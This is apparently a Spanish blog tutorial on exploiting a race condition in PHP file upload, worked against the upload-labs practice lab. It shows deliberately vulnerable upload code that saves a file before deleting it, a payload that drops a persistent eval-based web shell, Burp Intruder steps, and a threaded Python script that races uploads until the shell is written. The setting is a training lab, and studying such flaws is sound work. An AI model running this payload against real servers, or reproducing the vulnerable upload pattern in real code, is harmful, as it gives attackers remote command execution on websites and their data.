Competencia condicional para la carga de archivos PHP (Parte 1)

Tabla de contenido

1. ¿Qué es la competencia condicional?

2. Análisis del código de escena

El código PHP utilizado para el experimento en este artículo es el siguiente:

 Puntos de conocimiento adicionales:

Análisis de código:

3. Etapas de la competencia condicional

1. Carga útil de la competencia:

2. Método de competición:

1 、 burpsuite:

2, secuencia de comandos de Python:


1. ¿Qué es la competencia condicional?

  En algunos escenarios de carga de archivos, el código de back-end primero guardará los archivos que cargamos y luego verificará si los archivos que cargamos contienen riesgos y, de ser así, se eliminarán. Esto es lo que necesitamos y eliminar funciones (como desvincular () función) para competir por tiempo e hilos, y esforzarse por acceder al archivo antes de eliminarlo, para lograr el efecto de ataque

2. Análisis del código de escena

El código PHP utilizado para el experimento en este artículo es el siguiente:

<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];  //获取上传文件的全名
$ext = substr($filename,strrpos($filename,'.') + 1); //从点号之后的一个字符开始截取,也就是说获取文件后缀

$path = 'uploads/' . $filename;  //上传文件的路径及文件名
$tmp = $_FILES['file']['tmp_name'];   //上传文件在系统中的临时名
if(move_uploaded_file($tmp, $path))  //上传文件到指定路径
{
	if(!preg_match('/php/i', $ext))       //判断后缀是否为php
    {       
		echo 'upload success,file in '.$path;   //不是这返回上传成功
	}
    else
    {
		unlink($path);                    //若是PHP则删除
		die("can't upload php file!");
	}

	}
else
{
    die('upload error');
}

 Puntos de conocimiento adicionales:

El contenido de la matriz de variables globales $_FILES es el siguiente:
$_FILES['myFile']['name'] El nombre original del archivo del cliente.
$_FILES['myFile']['type'] El tipo MIME del archivo, que debe ser compatible con el navegador, por ejemplo, "image/gif".
$_FILES['myFile']['size'] El tamaño del archivo cargado en bytes.
$_FILES['myFile']['tmp_name'] Nombre de archivo temporal almacenado en el servidor después de cargar el archivo, generalmente el sistema predeterminado. Se puede especificar en upload_tmp_dir de php.ini, pero la configuración con la función putenv() no funcionará.
$_FILES['myFile']['error'] y el código de error relacionado con la carga del archivo. ['error'] se agregó en PHP 4.2.0. La siguiente es su descripción: (se vuelven constantes después de PHP3.0)

Análisis de código:

El código primero mueve el archivo cargado al directorio especificado a través de la función move_uploaded_file y luego verifica si el sufijo del archivo cargado es php a través de preg_match('/php/ i ', $ext) , que es una regla que no distingue entre mayúsculas y minúsculas. y si es así, use la función de desvincular para eliminar el archivo, necesitamos acceder al archivo cargado antes de que se ejecute la función de desvincular

3. Etapas de la competencia condicional

1. Carga útil de la competencia:

Dado que el tiempo que podemos abrir el archivo cargado es muy corto, es imposible conectarse directamente al shell a través del archivo cargado, pero podemos hacer el contenido del archivo cargado de la siguiente manera

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>

Siempre que se acceda al archivo , se creará inmediatamente un archivo shell.php Incluso después de que la función de desvincular elimine el archivo , el archivo shell.php creado aún existe y podemos eliminar el sitio a través de shell.php

2. Método de competición:

Aquí tomamos el nivel 17 de upload-labs como ejemplo

1 、 burpsuite:

Aquí subimos el archivo y tomamos el paquete para obtener

 Luego envíe el paquete del archivo cargado al módulo de intrusos

 Luego borre todas las opciones previas

 En el módulo de carga útil , configúrelo en modo de carga útil vacía , establezca el número de veces en dos mil, es decir, cargue el archivo 2000 veces de forma continua y finalmente comience el ataque.

Finalmente, sigue visitando en el navegador

http://localhost/upload-labs/upload/szm.php

El acceso es exitoso, es decir, el acceso de shell es exitoso

2, secuencia de comandos de Python:

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor


def td(list):
    url = 'http://localhost/upload-labs/Pass-17/index.php'
    files = {'upload_file': (
        'szm.php', "<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>")}
    data = {'submit': '上传'}
    r = requests.post(url=url, data=data, files=files)
    re = requests.get('http://localhost/upload-labs/upload/szm.php')
    if re.status_code == 200:
        print('上传成功')


if __name__ == '__main__':
    with ThreadPoolExecutor(20) as p:
        p.map(td, range(200))

Supongo que te gusta

Origin blog.csdn.net/Elite__zhb/article/details/130018959
Recomendado
Clasificación